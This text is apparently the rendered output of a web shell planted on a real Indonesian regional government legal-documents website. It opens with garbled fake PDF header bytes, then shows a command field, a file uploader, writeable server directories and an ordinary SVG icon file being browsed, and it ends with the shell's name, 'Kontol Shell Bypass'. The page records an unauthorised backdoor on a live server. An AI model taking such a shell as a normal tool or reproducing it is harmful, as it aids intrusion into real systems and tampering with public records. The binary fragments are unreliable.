%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/assets/d5b01d88/gfx/stock-icons/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/assets/d5b01d88/gfx/stock-icons/measure-x.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 32 32" enable-background="new 0 0 32 32" xml:space="preserve">
<g>
	<g>
		<polygon fill="#4B4B4D" points="14.673,21 15.984,19.177 17.287,21 18.808,21 16.766,18.344 18.559,16 17.12,16 16.006,17.553
			14.923,16 13.422,16 15.225,18.344 13.193,21 		"/>
		<rect x="25.75" y="9.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="25.75" y="24.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="25.75" y="14.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="25.75" y="19.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="4.75" y="9.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="4.75" y="4.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="4.75" y="19.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="4.75" y="14.014" fill="#4B4B4D" width="1.5" height="2.986"/>
		<rect x="25.75" y="4" fill="#4B4B4D" width="1.5" height="3"/>
		<rect x="4.75" y="24" fill="#4B4B4D" width="1.5" height="2.986"/>
		<polygon fill="#4B4B4D" points="24.465,13.5 21,11.5 21,13 11,13 11,11.5 7.535,13.5 11,15.5 11,14 21,14 21,15.5 		"/>
	</g>
</g>
</svg>

Kontol Shell Bypass